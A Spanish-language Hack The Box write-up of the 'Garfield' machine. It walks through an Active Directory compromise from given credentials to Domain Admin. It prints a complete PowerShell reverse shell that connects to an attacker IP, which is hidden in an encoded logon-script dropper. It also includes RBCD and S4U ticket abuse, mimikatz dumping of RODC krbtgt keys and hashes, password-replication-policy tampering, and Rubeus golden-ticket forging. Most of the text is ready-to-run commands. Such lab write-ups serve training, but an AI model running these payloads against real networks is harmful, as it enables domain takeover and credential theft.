Garfield WriteUp

Tabla de contenido

Garfield WriteUp

Garfield es una máquina de dificultad 🟥 Hard de Hack The Box, Season 10, creada por ruycr4ft. Es una máquina de assume breach (empezamos con credenciales, como en un pentest real) y de Active Directory puro. La cadena arranca abusando del atributo scriptPath para inyectar un logon script y saltar a l.wilson, sigue con un ForceChangePassword hasta una cuenta con WinRM, y para el root nos toca lo más entretenido: alcanzar un Read-Only Domain Controller (RODC) interno alojado en Hyper-V, comprometerlo por RBCD, y ejecutar un RODC Golden Ticket para convertir la clave del RODC en un ticket válido de Administrator del dominio.

🧭 Aviso honesto. Esta máquina se me atragantó por detalles de entorno (túnel, sincronización de reloj, versiones de herramientas), no por la técnica. He dejado al final una sección de errores y lecciones con todo lo que me hizo perder tiempo, porque probablemente sea lo más útil del writeup.

🗺️ Cadena de Ataque

Credenciales j.arbuckle (assume breach)
      │
      ▼
BloodHound → j.arbuckle tiene WriteProperty sobre scriptPath de l.wilson y l.wilson_adm
      │
      ▼
Sobrescribir printerDetect.bat en SYSVOL + scriptPath → shell/acción como l.wilson (bot de logon)
      │
      ▼
l.wilson tiene ForceChangePassword sobre l.wilson_adm → reset → WinRM → user.txt 🚩
      │
      ▼
l.wilson_adm: AddSelf a "RODC Administrators" + WriteAccountRestrictions sobre RODC01
      │
      ▼
Puerto 2179 (Hyper-V) → RODC01 en 192.168.100.2 → túnel con chisel
      │
      ▼
Crear ATTACKER$ + RBCD sobre RODC01$ → S4U → SYSTEM en RODC01
      │
      ▼
mimikatz → clave AES256 de krbtgt_8245 + hash de RODC01$
      │
      ▼
Ajustar la Password Replication Policy (NeverReveal vacío + Administrator en RevealOnDemand)
      │
      ▼
Rubeus RODC Golden Ticket → asktgs cifs/DC01 → psexec como Administrator → root.txt 🏴

🔍 Reconocimiento

Apuntamos la máquina en el /etc/hosts y escaneamos en dos fases.

echo "10.129.244.207 dc01.garfield.htb garfield.htb DC01" | sudo tee -a /etc/hosts
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv dc01.garfield.htb
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv dc01.garfield.htb
PuertoServicioDetalle
53DNSActive Directory
88, 389, 636, 3268, 9389Kerberos / LDAP / GC / ADWSControlador de dominio
135, 139, 445RPC / NetBIOS / SMBWindows Server 2019
464kpasswd
2179vmrdpHyper-V Virtual Machine Remote Desktop
3389RDP
5985WinRM

🎯 El puerto 2179 (Hyper-V vmrdp) es la gran pista: DC01 aloja máquinas virtuales internas. Casi seguro hay un RODC en una red interna que no vemos desde fuera.

Validación de credenciales

Nos dan j.arbuckle : Th1sD4mnC4t!@1978. Validamos:

netexec smb  dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
netexec ldap dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'
netexec winrm dc01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978'   # NO autorizado

SMB y LDAP válidos, pero j.arbuckle no tiene WinRM. Hay que movernos a otra cuenta.

⏰ Desfase de reloj. El DC va +8 horas respecto a la Kali. Todo lo que sea Kerberos (getST, secretsdump -k, Rubeus…) fallará con KRB_AP_ERR_SKEW si no lo corregimos. En vez de tocar el reloj del sistema, prefijamos los comandos Kerberos con faketime:

faketime -f "+8h" impacket-getST ...

Ojo con la sintaxis: es faketime -f "+8h", no faketime "+8h". Y calcula el offset exacto comparando tu hora con la del DC (nmap -sT -p445 --script smb2-time).

📊 Enumeración con BloodHound

faketime -f "+8h" bloodhound-python -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb -dc dc01.garfield.htb -ns 10.129.244.207 -c All --zip

El camino que interesa: j.arbuckle tiene WriteProperty sobre el atributo scriptPath de l.wilson (y también de l.wilson_adm).

⚠️ Corrección importante respecto a lo que se lee por ahí. j.arbuckle no tiene WriteDacl sobre l.wilson, solo puede escribir el atributo scriptPath. Lo confirmé con bloodyAD, porque intentar añadir una ACE (para resetear la contraseña por la vía DACL) falla con insufficientAccessRights:

bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host dc01.garfield.htb get writable --detail
#  CN=Liz Wilson,...      scriptPath: WRITE
#  CN=Liz Wilson ADM,...  scriptPath: WRITE

💉 Acceso inicial, abuso de scriptPath

🧠 El atributo scriptPath define el logon script que se ejecuta cuando el usuario inicia sesión. Se busca en \\DC\NETLOGON\ (que es \\DC\SYSVOL\<dominio>\scripts\). Si podemos escribir ese atributo y controlar el script, ejecutamos código en el contexto del usuario cuando haga login. En Garfield hay un bot que loguea a l.wilson cada 1-2 minutos.

Paso 1, Sobrescribir el logon script en SYSVOL

En \\DC\NETLOGON\ ya existe un printerDetect.bat. Un usuario normal no puede crear ficheros nuevos ahí, pero, clave, sí puede sobrescribir el existente:

cat > auth_ja.txt <<'EOF'
username=j.arbuckle
password=Th1sD4mnC4t!@1978
domain=garfield.htb
EOF

# generar el payload (reverse shell + reset de l.wilson_adm) y codificarlo
cat > payload.ps1 <<'PS'
try{ $p=([adsisearcher]'(samaccountname=l.wilson_adm)').FindOne().Path; ([adsi]$p).SetPassword('Garf1eld_Pwn3d!') }catch{}
try{ $c=New-Object System.Net.Sockets.TCPClient('10.10.14.142',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close() }catch{}
PS
B64=$(iconv -f UTF-8 -t UTF-16LE payload.ps1 | base64 -w0)
printf '@echo off\r\npowershell -nop -w hidden -ep bypass -enc %s\r\n' "$B64" > printerDetect.bat

# sobrescribir el existente
smbclient //dc01.garfield.htb/SYSVOL -A auth_ja.txt -c 'cd garfield.htb\scripts; put printerDetect.bat printerDetect.bat'

💡 Con smbclient de Samba el login por Kerberos fallaba (NT_STATUS_LOGON_FAILURE / problemas con el ! de la contraseña). La solución fiable es un fichero de credenciales (-A), y para SMB por el túnel más adelante, usar los impacket-* en vez de Samba.

Paso 2, Fijar el scriptPath

bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host dc01.garfield.htb set object l.wilson scriptPath -v 'printerDetect.bat'

Paso 3, Recoger el resultado

En vez de depender de una reverse shell interactiva (que hay que cazar en el momento justo del logon), el payload que dejé resetea él mismo la contraseña de l.wilson_adm (porque l.wilson, que es quien ejecuta el script, tiene ForceChangePassword sobre l.wilson_adm). Así solo tengo que pollear hasta que la cuenta autentique:

# esperar al bot y comprobar
while :; do netexec winrm dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' 2>&1 | grep -q '(Pwn3d!)' && break; sleep 15; done

🐛 Un fallo que me costó una vuelta: intenté que el payload balizara escribiendo en un share SMB mío (para saber que había disparado). No funciona desde el contexto del logon (la escritura anónima falla). El reverse shell TCP y el reset autónomo sí. Lección: para señalizar, TCP saliente > SMB entrante.

Cuando el bot loguea a l.wilson, el script resetea l.wilson_adm y entramos por WinRM:

evil-winrm -i dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!'

🚩 User Flag

type C:\Users\l.wilson_adm\Desktop\user.txt
# REDACTED

🧭 El RODC interno

l.wilson_adm es miembro de Remote Management Users, y en el grafo tiene dos derechos jugosos sobre el objeto RODC01:

  • AddSelf sobre el grupo RODC Administrators (podemos autoañadirnos).
  • WriteAccountRestrictions sobre RODC01$ (nos deja escribir su msDS-AllowedToActOnBehalfOfOtherIdentity → RBCD, y su Password Replication Policy).

Enumeramos la red interna desde DC01:

ipconfig    # DC01 tiene 10.129.244.207 y una interfaz interna 192.168.100.1

El RODC vive en 192.168.100.2 (rodc01.garfield.htb), alcanzable desde DC01 pero no desde nuestra Kali. Además, por LDAP confirmamos que su msDS-KrbTgtLink es krbtgt_8245 (el número del RODC es 8245) y que su msDS-RevealedUsers ya incluye a Administrator.

netexec ldap dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' --query "(objectClass=computer)" "sAMAccountName msDS-KrbTgtLink"

🔗 Túnel a la red interna con chisel

Necesitamos enrutar tráfico a 192.168.100.0/24 a través de DC01.

# En Kali: servidor chisel (¡con nohup+disown o morirá!)
nohup ./chisel server -p 443 --reverse >chisel.log 2>&1 & disown

# Subir el cliente a DC01 (el 8000 de mi HTTP sale del DC; el 8889 NO — ojo con los puertos de egress)
netexec winrm dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -X "iwr http://10.10.14.142:8000/chisel.exe -OutFile C:\Windows\Temp\chisel.exe"

# Ejecutar el cliente en primer plano dentro de una sesión WinRM que dejamos abierta (así persiste)
netexec winrm dc01.garfield.htb -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -X "& C:\Windows\Temp\chisel.exe client 10.10.14.142:443 R:socks"   # lanzar en background

🐛 Aquí perdí un buen rato. Dos trampas:

  1. Los procesos que lanzas por WinRM con Start-Process mueren al cerrarse la sesión. La forma fiable de mantener el cliente vivo es ejecutarlo en primer plano dentro de una sesión WinRM que dejas corriendo en segundo plano.
  2. Con el túnel arriba, proxychains seguía dando “Connection refused” a todo. El motivo era la línea por defecto socks4 127.0.0.1 9050 en /etc/proxychains4.conf peleándose con mi socks5 127.0.0.1 1080. Dejando solo el socks5 1080, el túnel funcionó al instante:
sed -i 's/^socks4/#socks4/' /etc/proxychains4.conf
echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf
proxychains4 -q nc -zv 192.168.100.2 445   # Connection succeeded!

🏗️ SYSTEM en RODC01 vía RBCD

l.wilson_adm puede escribir el RBCD de RODC01$ (que vive en el DC principal, directamente accesible). Creamos una cuenta de máquina y la delegamos:

# 1) autoañadirnos a RODC Administrators
bloodyAD -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -d garfield.htb --host 10.129.244.207 add groupMember "RODC Administrators" l.wilson_adm

# 2) crear la cuenta de máquina
impacket-addcomputer garfield.htb/l.wilson_adm:'Garf1eld_Pwn3d!' -dc-ip 10.129.244.207 -computer-name 'ATTACKER$' -computer-pass 'Attacker123!'

# 3) RBCD: RODC01$ confía en ATTACKER$
impacket-rbcd garfield.htb/l.wilson_adm:'Garf1eld_Pwn3d!' -delegate-to 'RODC01$' -delegate-from 'ATTACKER$' -action write -dc-ip 10.129.244.207

Pedimos un ticket de servicio impersonando a Administrator para cifs/RODC01 (S4U):

faketime -f "+8h" impacket-getST garfield.htb/'ATTACKER$':'Attacker123!' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.244.207
export KRB5CCNAME='Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache'

Y con ese ticket, por el túnel, volcamos las credenciales del RODC:

echo "192.168.100.2 rodc01.garfield.htb RODC01" | sudo tee -a /etc/hosts
proxychains4 -q faketime -f "+8h" impacket-secretsdump -k -no-pass rodc01.garfield.htb

De aquí sacamos el hash NT de RODC01$:

GARFIELD\RODC01$:aad3b435b51404eeaad3b435b51404ee:0a3f810964bb5e1f0e52245f73700172:::

🗝️ La clave de krbtgt_8245 con mimikatz

El secretsdump remoto no nos da la clave de krbtgt_8245 (ni por DRSUAPI, el RODC no puede replicar, ni por VSS, solo saca el SAM local). La vía que funciona es mimikatz local en el RODC, que sí lee la cuenta krbtgt del propio RODC. Subimos mimikatz con el ticket S4U y lo ejecutamos:

# subir (impacket-smbclient maneja bien Kerberos; el put toma un solo argumento)
proxychains4 -q faketime -f "+8h" impacket-smbclient -k -no-pass rodc01.garfield.htb
#   use C$  /  cd Windows\Temp  /  put mimikatz.exe

proxychains4 -q faketime -f "+8h" impacket-wmiexec -k -no-pass rodc01.garfield.htb \
  'C:\Windows\Temp\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt_8245" "exit"'
User : krbtgt_8245
    NTLM : 445aa4221e751da37a10241d962780e2
    aes256_hmac (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240

🔑 El dominio rechaza RC4, así que necesitamos la AES256. El SID del dominio lo teníamos del RBCD: S-1-5-21-2502726253-3859040611-225969357.

🏆 RODC Golden Ticket → Administrator

🧠 Un RODC solo puede “revelar” (cachear) las credenciales de las cuentas que su Password Replication Policy (PRP) permite. Por defecto, Administrator está denegado (vía el grupo Denied RODC Password Replication Group, que está en el msDS-NeverRevealGroup del RODC). Como controlamos RODC01, podemos reescribir esa política.

Paso 1, Ajustar la PRP (¡el orden importa!)

# 1º LIMPIAR el deny, 2º poner el allow. Las entradas de deny SIEMPRE ganan a las de allow.
bloodyAD -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -d garfield.htb --host 10.129.244.207 set object 'RODC01$' msDS-NeverRevealGroup
bloodyAD -u l.wilson_adm -p 'Garf1eld_Pwn3d!' -d garfield.htb --host 10.129.244.207 set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Administrator,CN=Users,DC=garfield,DC=htb'

Paso 2, Forjar el golden ticket del RODC y pedir un ticket de servicio

Con la clave AES256 de krbtgt_8245 forjamos un TGT de Administrator “emitido por el RODC”, y con él pedimos un ticket cifs/DC01 al DC principal (que ahora sí lo honra, porque la PRP ya lo permite). Rubeus corre en el RODC (donde no hay AV que lo bloquee):

# forjar el TGT (RODC 8245)
C:\Windows\Temp\Rubeus.exe golden /rodcNumber:8245 /aes256:d6c93cbe...e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /nowrap

# pedir cifs/DC01 con ese TGT
C:\Windows\Temp\Rubeus.exe asktgs /ticket:<TGT_B64> /service:cifs/DC01.garfield.htb /dc:dc01.garfield.htb /nowrap
#  [+] TGS request successful!

🐛 Dos cosas me tuvieron dando vueltas aquí, y son la razón principal del retraso:

  1. impacket-keylistattack daba siempre KDC_ERR_TGT_REVOKED (“User Administrator is not allowed to have passwords replicated in RODCs”) aun con la PRP correctamente ajustada. En vez de pelearme con esa variante, el camino que sí funciona es el de arriba: golden → asktgs cifs/DC01 → psexec.
  2. La versión de Rubeus. Con el Rubeus de Ghostpack-CompiledBinaries (v2.2.0) el asktgs fallaba con KRB_AP_ERR_BAD_INTEGRITY (bug conocido). Con un Rubeus v2.3.3+ (por ejemplo el de SharpCollection) funcionó a la primera. Si ves BAD_INTEGRITY con la clave correcta, actualiza Rubeus.

Paso 3, Acceso como Administrator y root

Convertimos el ticket cifs y lo usamos contra DC01:

echo '<TICKET_CIFS_B64>' | base64 -d > cifs.kirbi
impacket-ticketConverter cifs.kirbi cifs.ccache
export KRB5CCNAME=cifs.ccache
faketime -f "+8h" impacket-wmiexec -k -no-pass Administrator@DC01.garfield.htb 'whoami'
# garfield\administrator

🏴 Root Flag

faketime -f "+8h" impacket-wmiexec -k -no-pass Administrator@DC01.garfield.htb 'type C:\Users\Administrator\Desktop\root.txt'
# REDACTED

🧯 Errores, lecciones y por qué costó tanto

La técnica de Garfield está clara, lo que la hace dura (y lo que me hizo perder tiempo) es el entorno. Resumo los baches por si te ahorran horas:

SíntomaCausaSolución
KRB_AP_ERR_SKEW en todo lo KerberosReloj del DC +8hfaketime -f "+8h" <cmd> (¡con -f!)
Servidores (chisel/http) se caían solosProcesos en background mueren al salir el shell de WSLnohup ... & disown
proxychains “Connection refused” a todoLínea por defecto socks4 9050 en conflictoDejar solo socks5 127.0.0.1 1080
Cliente chisel no persistíaStart-Process por WinRM muere con la sesiónEjecutarlo en primer plano en una sesión WinRM abierta
smbclient login fail por KerberosSamba + ! en la password + kerberos por túnelFichero -A para NTLM, impacket-* para Kerberos
keylistattack → TGT_REVOKEDVariante KERB-KEY-LIST quisquillosa con la PRPUsar golden + asktgs cifs/DC01
Rubeus BAD_INTEGRITY con clave correctaBug de Rubeus v2.2.0Rubeus v2.3.3+ (SharpCollection)
“not allowed to replicate” pese a tocar la PRPOrden de la políticaLimpiar NeverRevealGroup primero, luego RevealOnDemand
No podía crear el .bat en NETLOGONUsuario normal no crea ficheros nuevos ahíSobrescribir el printerDetect.bat existente

Y una nota de metodología: verifica los permisos en la caja, no te fíes de writeups ajenos. Varias fuentes decían que j.arbuckle tenía WriteDacl sobre l.wilson, en realidad solo tiene WriteProperty sobre scriptPath. Dar por buena esa suposición me hizo perder un intento con un reset de contraseña que nunca iba a funcionar.

📝 Resumen de la cadena

#TécnicaHerramientaResultado
1ReconocimientonmapDC + puerto 2179 (Hyper-V)
2Enumeración ADbloodhound-pythonj.arbuckle → WriteProperty en scriptPath
3Logon scriptsmbclient + bloodyADacción como l.wilson (bot de logon)
4Movimiento lateralForceChangePasswordWinRM como l.wilson_adm + user.txt 🚩
5Túnelchisel (R:socks) + proxychainsacceso a 192.168.100.0/24 → RODC01
6RBCDaddcomputer + rbcd + getSTSYSTEM en RODC01
7Credenciales RODCmimikatzAES256 de krbtgt_8245 + hash de RODC01$
8PRPbloodyADNeverReveal vacío + Administrator en RevealOnDemand
9RODC Golden TicketRubeus golden + asktgsticket cifs/DC01 como Administrator
10Acceso como DAimpacket-wmiexec -kDomain Admin + root.txt 🏴

Un saludo, nos vemos en el próximo challenge.